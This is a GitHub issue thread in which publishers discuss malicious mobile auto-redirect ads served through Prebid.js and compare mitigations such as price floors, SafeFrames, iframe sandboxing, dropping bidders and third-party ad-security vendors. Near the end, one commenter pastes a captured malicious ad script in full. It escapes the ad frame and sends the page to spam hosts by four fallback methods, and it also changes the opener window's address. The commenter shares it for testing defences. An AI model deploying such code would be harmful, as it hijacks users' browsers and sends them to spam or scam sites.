Prebid.js: Mobile Auto Redirect Ads - Increasing Major PROBLEM.

Created on 17 Jan 2017  Â·  65Comments  Â·  Source: prebid/Prebid.js

Type of issue

Lately myself and many people i know are seeing an increase in auto redirect ads across mobile devices.

I have a possible solution for this but lake the skills to implement it within prebid, perhaps someone can offer a pull request or a custom code snippet to the implementation.

Possible solution - programmatically inspect the ad payload before you append the unit code to the page.
This provides an excellent opportunity to regex / search the ad payload string for code that sets window.location, and enables the developer to take specific actions when detected (such as bypass the bad ad and instead display a trusted remnant solution or house ad).

So simply adding a regex that detects bad behavior auto redirect ads and when detected just chose the next winning bid ad payload.

This is a serious problem that is increasing rapidly.

wontfix

Most helpful comment

Not sure if anyone has seen, but Google has just announced that Chrome 65 will start blocking unwanted redirects. This is and always has been a browser-based issue, so this is a step in the right direction in my view! Chrome 64 has now blocked auto-play sound-on video too.

All 65 comments

There are 2 types of ads that prebid renders first one is usually contains html markup to render on page via document.write and the other is a url rendered on an iframe.

The problem is that if you get an ad as a URL you dont know what this url is going to load unless you render it, and the code it return may also load more JS from other urls so i think it will be hard to be able inspect all the JS these ads load.

We could think the first type of ads may be easier to inspect but given that the code can be an iframe itself it could also present same problem.

on /adops slack somebody suggested as a work arround to remove all line items below 1 USD for mobile US traffic to prevent this bad ads, you may want to try that.

Thank for the feedback @ialex what i actually did was set a .50 floor for all bidders for now. Our mobile traffic is 80% of our total traffic so removing all or disabling all line items below 1.00 will big a huge downset even setting a global 0.50 floor to avoid most spam auto redirect ads is a big draw back.

Hopefully prebid can force all networks to use safe frames in the next update in my opinion this should be a high priority this is a very rapidly growing trend spammers are picking up on prebid and buying huge amounts of remnant inventory from the exchanges. This hurts sites credibility. It is such a huge problem for us that im willing to leave a big amount of $ on the table by setting unnecessary floor prices for US mobile traffic to avoid SOME/MOST of these ads.

Or perhaps loading prebid ads in a container that can be controlled using javascript to block iframe redirects or anything like that. Really hope for some sort of solution.

@mercuryyy
You should be able to start testing using SafeFrames after the next release. That should prevent this behavior.

@mkendall07 do every ad network need to update their adapter or delivery system to support safeFrames or the pull i see merged for safeFrame support adds it globally ?

Most adapters should work already. There could be a few that are relying on window.top operations, but I don't think it is many. As we identify those bidders we will request changes.

The changes require you to update your creative line items with creative code that supports SF, as well as checking the SF creative option. I would recommend you testing this out on a few placements to see how it affects your impressions levels (SF itself has some overhead.)

@mkendall07 Im about to give this a try now, I cant find the SF creative code for dfp on the adops docs in prebid.org can you post it here please.

Thank you! Do i leave this part untouched ?

const publisherDomain = 'http://localhost:9999';
const adServerDomain = 'http://tpc.googlesyndication.com';

@mercuryyy
You need to update with your own domain for publisherDomain

suggest you use protocol as well in case you serve both HTTP and HTTPS pages.

Yeah i figured but for DFP - const adServerDomain = 'http://tpc.googlesyndication.com';
will stay as is right?

@mercuryyy It will change from http to https based on whether you're running https or not, but from my knowledge, SafeFrames always serve from "tpc.googlesyndication.com" as the domain at least.

Right, we'll update the example to pick up the protocol automatically.

@mercuryyy the updated example included in #955 and #971 should help. Closing as answered, please reopen if any additional info.

@protonate Do you know if this is being used by anyone with success? We have tried the new creative and there seems to be a disconnect between the bidding and the ad serving - the ads do seem to load from the correct bidder and DFP reflects this, but all bidding partners report zero impressions and zero revenue, leading to a 100% discrepancy. Furthermore, most of the ads served seem to be PSAs, which seems to indicate that something's amiss.

We'd love to debug this ourselves, but don't know where to start or what signs to look for to indicate a problem.

We're building prebid 0.19.0 and made a minor modification to the creative to have the protocol for tpc.googlesyndication automatically match the site (which we tested and found to be working), but are otherwise doing everything as instructed. We've made sure that "Serve into a SafeFrame" is selected as well.

Is there any solution for this issue? Can ads be served now via safe frames? We're experiencing this massively now as well.

We're seeing a crazy spike with this issue. Any updates? Anyone using this successfully?

@pribeh
Are you using safeFrame? SafeFrame can be used if you swap out the creative line item with the safeframe one.

@mkendall07 we are also seeing a spike in mobile redirects originating from Prebid. Any issues with us tweaking the creatives in Appnexus to safeframe ?

Benjamin

@mkendall07 We are using safeframe as outlined here. We're still getting some reports but trying to discern if there's any difference in the amount of them.

On our case, there was just one network that sent all those redirects.
We got removed it and all such requests were gone.

On 08/08/2017 4:02 AM, Thomas wrote:
>

@mkendall07 https://github.com/mkendall07 We are using safeframe as
outlined here . We're still getting some reports but trying to
discern if there's any difference in the amount of them.

—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/prebid/Prebid.js/issues/927#issuecomment-320820850,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ALgpKjOPvBOXlNCPZBrZyQXCYnSHWiebks5sV7OwgaJpZM4LlMiI.

Re-opening this issue to consolidate conversation here on this topic. Please reply to this thread only and not old closed issues. Thanks.

@kik2 How did you isolate the source?

Re Posting this from the closed thread.

@mkendall07 Yeah Matt even with safeFrames we are getting the same auto redirect ads. Today after 8 months using safeframes i'v decided to drop safeframes. for now higher CPM floors seem to be the only thing that slows down auto redirect ads.

Also Matt from what i understand safeFrames wont be a priority or maybe even an option in prebid V1, so is it safe to say, publishers moving away from safeframes at this point is preferred? considering your testing with the gain in using safeframes compared to the loss (latency and other factors).

There were two networks we suspected of, based on their generally lower
CPMs. We dropped them both and stopped getting users' complains. After
we were sure we were clean we returned one of them and luckily it was
the clean network.

On 08/09/2017 1:12 AM, Thomas wrote:
>

@kik2 https://github.com/kik2 How did you isolate the source?

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/prebid/Prebid.js/issues/927#issuecomment-321096646,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ALgpKjQStq1ZaqH4KDYjjktAQCGenSWJks5sWN1dgaJpZM4LlMiI.

Make sure you set {sandbox:true} in your googletag setup code. This is not well documented but a critical setting for it to work right (see #1099)

@brondsem thanks for the pointer! I did not realize this. Do I add it both at the page and slot level or can I pick and choose? Also, I've added it at the slot level and the sandbox attribute now shows up with the following parameters: "allow-forms allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation". Do any of these permit unwanted top level navigation?

@mercuryyy We're raising our price floors to 0.50 cents.

@kik2 thanks for sharing. We've removed one bidder that has very low bids.

@pribeh I believe you can set it at the page level and it'll apply to all slots, or pick and choose individual slots to set it on. AFAIK those attributes are ok since allow-top-navigation is not included. https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox

@brondsem thanks! I think we have things properly setup now. We're in talks with our partners to see if any of their ads might not work with safeframe/sandbox as we're noticing a few missing ads.

Hey all. I did some research on this issue. It looks like the cause is that the same origin policy does not apply to changing the top window navigation. Why this is I'm not clear but it seems that opting into a safeFrame / X-domain is not enough protection.

To enable full protection, you need to add the sandbox attribute to the iframe and not opt into the "allow-top-navigation" feature (only include the features you want/need).

If you are using DFP you can automatically enable this functionality explicitly with the "sandbox" attribute on the config object. Note that this won't work in some older browsers (see note in screenshot below). https://support.google.com/dfp_premium/answer/4578089?hl=en

image

Another mitigation technique would be to fire a event ask the user if they meant to redirect:
https://developer.mozilla.org/en-US/docs/Web/API/WindowEventHandlers/onbeforeunload

References:
https://stackoverflow.com/questions/27518211/why-can-an-iframe-change-the-parent-windows-url-from-a-different-domain
https://stackoverflow.com/questions/369498/how-to-prevent-iframe-from-redirecting-top-level-window

@mercuryyy
See above, we are still bullish on SafeFrame (although Prebid.js doesn't directly need to do anything else to support it - it's the adserver responsibility).
@chefbenjamin
AST doesn't currently support the combination of SafeFrame + "sandbox" so I'll add a feature request for it so you can do the same thing.

Also see the warning / note about implementing this on desktop - it's possible it might block legitimate clicks / creatives. Might be a good idea to enable only on mobile.

We're using the sandbox attribute which excludes allow-top-navigation but are seeing a lot of creatives not loading and dropped impressions. We'll be following up with our partners to check support for it.

@mkendall07 How would you go about only enabling this on mobile? BTW, thanks for researching and making all the notes above.

@mkendall07 @mercuryyy / all.

We too have have seen a huge increase in redirects (and malicious ads in general). To counter this attack vector we built a full IAB safe-frame implementation and combined this with HTML5 sandbox. We encountered the following issues: -

  • A large percentage of ads from all header bidding partners fail to render. The HTML5 sandbox attribute when used prevents access to various parts of the normal browser API and some features can't be enabled or have strange behaviours such as HTML5 storage engine.
  • Third-party verification tools (DoubleVerify, IAS, Moat etc) are unable to validate the rendered advert properly and see it as an iframe.
  • As @mkendall07 mentioned, there are issues with blocking legitimate interactions with ads contained inside a sandbox - enabling features such as top-nav will expose you again to redirects.

Having dedicated a fair amount of resource to this, we are now looking at other solutions.

@cwbeck I was just about to make a similar report to this thread. You seem better versed in some of the technical stuff, like others in this thread, than I though.

We are experiencing a large number of ads failing to render and a drop in impressions using safeframe and sandbox mode. We also are still seeing app store redirects happening – which I'm not sure we can block using safeframe and sandbox mode (see this).

We want to continue to use prebid but the challenge comes down to requiring a few partners to make it worthwhile, but which opens us up to many sources for potential exploit. The only thing that has seemed to slow the tide is:

  • increasing the CPMs
  • adding sandbox

Yet both of these result in the loss of ad dollars and the latter impacts ad client's creatives.

We're not sure what our next step is just yet. @cwbeck let us know if you come up with anything that works. Thanks to everybody who's tried to help.

We're are getting feedback from end users that are starting to experiencing mobile auto redirects as well.

@ptomasroos do you know if these are redirects to other sites or redirects to the app store or both?

Also started getting a lot of complaints.
Not sure if these are popups or redirects but they either way they are really hurting user experience and reputation.
Example we got from one of the users: https://ibb.co/m8DRyk

After reading this thread I conclude that right now there is no efficient technical way to combat these ?
Aggressive CPM floors and manual blocking via the Ad Network is the only way to go ?
Or somebody has new insight re using Safe Frames ?

As far as I know there is no technical way (that doesn't impede normal ad serving) that would solve this.

Currently our strategy is to catch and block these ads as fast as we can. Luckily we have very active users that bother reporting these ads. One problem with that because of the redirects it's rather hard to capture these as an end-user. Because of that we added this (rather rudimentary but effective) code:

https://gist.github.com/BartVB/9e26dd0097770872537810229510ff56

to our pages. This stores the served ads on a page in LocalStorage for the last 20 pageviews. If a users runs into a malicious ad they can go to a special page on our site which sends the contents of their localstorage to our server. That way we can quickly see what parter served the ad and ask them to block it. If the ad was served through a header bidding partner we can also inspect the HTML of the creative to figure out how it works to see if/how we could block it technically in the future.

We could expand this code to block these ads on our side (instead of wait until a partner blocks them), but so far these redirect-ads are few and far between and response from our partners has been quick. Because of that we haven't put any effort into blocking on our side yet.

@BartVB - novel idea, but there are the obvious headaches: -

  • In 20 pages, at least on one of our sites, that is around 80-100 ads (needle in haystack issue)
  • Ad code being stashed here is the ad loader, not the actual ad. The majority are bait and switch, hence being missed by tools using phantomjs etc. The same loader will render a different ad, not the malicious one your user saw.
  • Still, the vast majority of SSPs have no identifier for that creative (only AppNexus, IndexExchange and a few others do). For this reason, if you manage to find it, it will be hard to block.

We are still playing the game of whack-a-mole. The best results have come from white-listing buyers where possible, although this is not possible with all our SSPs connections yet.

@BartVB @cwbeck Thanks for your thoughts.
I will try the CPM floor approach as an immediate action and try to pinpoint the more problematic networks. Will report back with result and/or if I find a better approach.

Great thread with lots of good ideas. Confiant’s real time ad security tech works in much the same way as some of these ideas and we’ve seen initial success at protecting our publisher’s from redirects with it. Part of the challenge was figuring out how to do the verification in near real time so as to add minimal latency.

We’re happy to provide a free trial to anyone interested in testing. We’ve a Prebid javascript wrapper built to facilitate the integration too:

https://github.com/confiant-inc/Prebid.js/pull/3/files

@eliyastein - we tried Confiant for several weeks and in that time we found a few issues:-

  • It took down our global ad serving for a while when a bad release was pushed out
  • Flagged some in-banner video, but missed almost all the redirects we found
  • Added a fair amount of latency and load to each ad request
  • We had issues with the UI and granularity of the auto-blocking features
  • Suffers from the same issues of unfriendly iframe redirects on the client
  • Found it blocking domains that were actually legitimate domains
  • Although we never turned auto-blocking on, we were told we would lose around 20% of ad requests and subsequently a similar percentage of revenues

We tried to improve on this model but found a number of issues could not be overcome. PageSeal and a few others are offering a similar service, although we've not had any success to-date.

Sorry to hear about your poor experience @cwbeck - That was before my time, so I hadn’t connected the dots. I’m told Venatus is actually the only publisher so far that has had that experience. We’d value hearing more of your feedback and having you test again.

@cwbeck That’s very different from our experience with Confiant. From our testing of the various options out there, esp for preventing mobile redirects and malware, Confiant is the only solution that actually works. We’ve been using them since before they were known as Confiant and have been very satisfied. Did they have one outage in the time that we have been using them, yes. But they recovered from that with a more robust architecture and operations, and haven’t had an issue since. We haven’t seen the latency issues you had, and we haven't found any negative user impacts. The only ads we auto-block are the ones that would result in a redirect or malware. Video, sound, large downloads, etc are not what we’re concerned with at this time. While the capability to block based on that is interesting, we’d rather audit that data and work directly with the source on a case by case basis (if the number of bad ads warrant it) to remediate it. If the issues you had were related to that, we have different use cases.
The team at confiant has always been very responsive and good to work with. Other publishers have found that to be the case as well and if anyone is having issues with redirects etc, we absolutely recommend giving them a try.

FWIW, Confiant is the only thing that's worked for us as well. We have been working on this problem for almost a year now, have tried at least a dozen different strategies to address this without success before trialing Confiant. It's not perfect and it's not cheap, but these ads have been a serious threat to our reputation with users and it's the only thing that has significantly reduced complaints.

From a publisher perspective, this has been a really frustrating experience. You have to wonder how the online ad industry got to the point where it allows pseudo-anonymous people to place creatives which run unrestricted javascript on the client, without providing publishers any tools to monitor who is purchasing the inventory on their sites and what's contained in those creatives. There is no accountability here. And of course, publishers take 100% of the blame from end-users, who not only think we're responsible, but often believe that we're profiting heavily from it.

@cyberstever, @sonemic glad to hear Confiant is working for you both. I have spoken to them since (as we were offered another free trial) and they do recognise limitations of detecting and blocking redirects. Confiant have yielded the best results in our tests, but as I have pointed out have some issues.

Not sure if anyone has seen, but Google has just announced that Chrome 65 will start blocking unwanted redirects. This is and always has been a browser-based issue, so this is a step in the right direction in my view! Chrome 64 has now blocked auto-play sound-on video too.

@cwbeck Now let's hope that the Safari team at Apple follows suite.

Hello guys,

I just found a JS function using by our enemies. This hidden JS file was delivered with a clean ad, from a great brand :

var timeout = 11e3;
var target = "http://lpo6.com/go/?aclid=aMe5DLZOz5_ayQXJuhD69a6sw5rW0Gnkzhk.&cid=153&pid=0&parm5=269641&parm4=capeutservir.com&parm3=&parm2=smart&parm1=169129";
var tracker = "http://winluckygifts.online/go/?cid=1456&pid=0";

function tracking() {
    if (tracker && window.top.opener) {
        if (Math.random() > 0) {
            window.top.opener.location = tracker
        }
    }
}

function redirect(method) {
    if (method == "href") {
        window.top.location.href = target
    } else if (method == "link") {
        var link = document.createElement("a");
        link.target = "_top";
        link.href = target;
        document.body.appendChild(link);
        var event = document.createEvent("MouseEvents");
        event.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
        link.dispatchEvent(event)
    } else if (method == "form") {
        var form = document.createElement("form");
        form.target = "_top";
        form.action = target;
        form.method = "GET";
        document.body.appendChild(form);
        form.submit()
    } else if (method == "data") {
        var html = encodeURIComponent('<html><head><meta http-equiv="refresh" content="0;url=' + target + '"/></head><body></body></html>');
        parent.parent.location.href = "data:text/html;charset=utf-8," + html
    }
}
setTimeout(function() {
    tracking()
}, timeout - 4e3);
setTimeout(function() {
    redirect("href")
}, timeout + 1e3);
setTimeout(function() {
    redirect("link")
}, timeout + 2e3);
setTimeout(function() {
    redirect("form")
}, timeout + 3e3);
setTimeout(function() {
    redirect("data")
}, timeout + 4e3);

So you just have to copy/paste the code, launch the webpage and wait few seconds ...
Maybe it could help some developers to test sandbox Iframe or Safeframe.

We're experiencing this problem as well. Is there anything wrong with naming the names of networks causing this issue? I think that would help others get to the bottom of this. We're going to put in a floor.

@millieone the fact is all the SSP are "infected". We are working with 15 SSP and we are facing mobile redirect issue coming from all the SSP. The difference is on the percentage of the infected ads. It can vary from 5% to 25% of infected ads, depends of SSP and seasonality. The only effective solution is to set a global floor.

We set a floor of $1.25 last night and problem is still continuing (we just cancelled all the DFP line items below this amount as that was the easiest way). Seems primarily to occur on iphones. Maybe it's coming through non prebid traffic (old waterfall we still use) but the adnetworks should be embarrassed for letting this crap in.

Anyone had any luck using Charles Proxy to figure out which partners its coming from?
http://www.adopsinsider.com/ad-ops-tools/catch-mobile-app-store-redirect-ads/

@millieone we found floors made no difference what so ever. I agree with @Deimos01 that all SSPs are infected, however there are some prebid partners we found had no filtering and they removed from the stack. We have also found the only thing that works is www.confiant.com sure one or two gets through but the vast majority dont. they also allow you to block by domain and things like IBV.

Throwing my hat in -- I also am experiencing large spam targeted at iOS (iPhone namely) devices with Safari. Chrome seems to be ok on iOS. I've traced the issue to several domains (10s of them) all owned by someone in China. The perform rapid redirects from the corrupt ad to the landing page. As others noted -- user complaints on the final url don't help.

I'm working with the ad newtork I believe is sending the ads via prebid to block the advertiser. I'm also increasing my bid floor on their platform. I'll status as things progress.

I am also going to try Confiant. Just sent them a message.

I have had luck using Charles Proxy to figure out where our redirects are coming from. Some are more difficult than others, but I can track them back around 80-90% of the time. It’s reproducing them that’s the issue for us. I’m guessing this Prebid list isn’t the right place to get into this in depth, though.

I don’t know the etiquette involved in something like this, so someone let me know if this is not ok. I created a Slack workspace. You should be able to join by clicking this link: https://join.slack.com/t/pubmalwareads/shared_invite/enQtMjgzNDkyMzk0MjczLTg4MmFkNDdmZmY3Njc2MGJmNzZhNDgxOWZmYWE5MTRjNzJiZWViNmU2MmY1ZmZmYzY4ODQ3MThkYjM0YTY4MGQ https://join.slack.com/t/pubmalwareads/shared_invite/enQtMjgzNDkyMzk0MjczLTg4MmFkNDdmZmY3Njc2MGJmNzZhNDgxOWZmYWE5MTRjNzJiZWViNmU2MmY1ZmZmYzY4ODQ3MThkYjM0YTY4MGQ

I’ve tried to lock it down so that emails and real names are hidden, but fair warning that I am not a Slack expert. This just seemed like the easiest way to start. Slack allows uploads up to 25MB so hopefully that would be enough. If someone else has a better suggestion for how to handle this, or if there’s already a Slack or Google Group or other sort of forum for this sort of thing, please let me know.

On Nov 30, 2017, at 6:34 AM, millieone notifications@github.com wrote:

We set a floor of $1.25 last night and problem is still continuing (we just cancelled all the DFP line items below this amount as that was the easiest way). Seems primarily to occur on iphones. Maybe it's coming through non prebid traffic (old waterfall we still use) but the adnetworks should be embarrassed for letting this crap in.

Anyone had any luck using Charles Proxy to figure out which partners its coming from?
http://www.adopsinsider.com/ad-ops-tools/catch-mobile-app-store-redirect-ads/ http://www.adopsinsider.com/ad-ops-tools/catch-mobile-app-store-redirect-ads/
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/prebid/Prebid.js/issues/927#issuecomment-348205097, or mute the thread https://github.com/notifications/unsubscribe-auth/ABi339X32ZX5Ed9TaC8OsAo-Aww8_0oXks5s7rzmgaJpZM4LlMiI.

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.

@eliyastein Our platform suffered much from auto direct recently. We have tried some solutions to protect our-self, including Doubleverify monitoring, but it looks like we are still under "attack". I see many people mentioned Confiant and we really would like have a try. Would you mind to re-share the link about "Prebid javascript wrapper" you mentioned before, cuz that page is no longer existed. Much appreciated :)

@thalam001 - Happy to help. Please send a note to [email protected] - We can provide documentation and get you started with a free trial after we have an mNDA in place. It's a pretty painless process that will hopefully help your situation.

Thanks @eliyastein ! will email them tomorrow.

Recently there has been huge attacts of auto mobile redirect.

Follow these steps to block them.

  1. Change your creatives in dfp to safeframe - https://github.com/prebid/Prebid.js/blob/master/integrationExamples/gpt/x-domain/creative.html
    Make sure you enable force safeframe in the dfp options page for the creative.

  2. @mkendall07 Matt a while ago i told you safeframes was not helping. The reason was for 3rd party dfp does not set sandbox on default. We have to tell dfp to enable sanbox on all 3rd party units.

In prebid init code look for

googletag.pubads().refresh()

change to

googletag.pubads().setForceSafeFrame(true).refresh()

in the google dfp ad units code look for

(unit tag).addService(googletag.pubads())

change to

(unit tag).setSafeFrameConfig({sandbox: true}).addService(googletag.pubads() ....

This will enable sandbox on the first level google dfp iframes and block almost all redirects.

IAB and top executives at major exchanges if they wanted to they can do something about this, its a shame because it hurts publishers reputation and it directs more visitors to install adblock plugins which hurts everybody!

the safeframe did not solve completely (popups instead of redirect), we identified that the problem in our case only came from AppNexus and we had to remove it.

Was this page helpful?
0 / 5 - 0 ratings

Related issues

amelzer picture amelzer  Â·  6Comments

aszydlo picture aszydlo  Â·  6Comments

marvinferreira picture marvinferreira  Â·  6Comments

tpottersovrn picture tpottersovrn  Â·  5Comments

matthewlane picture matthewlane  Â·  8Comments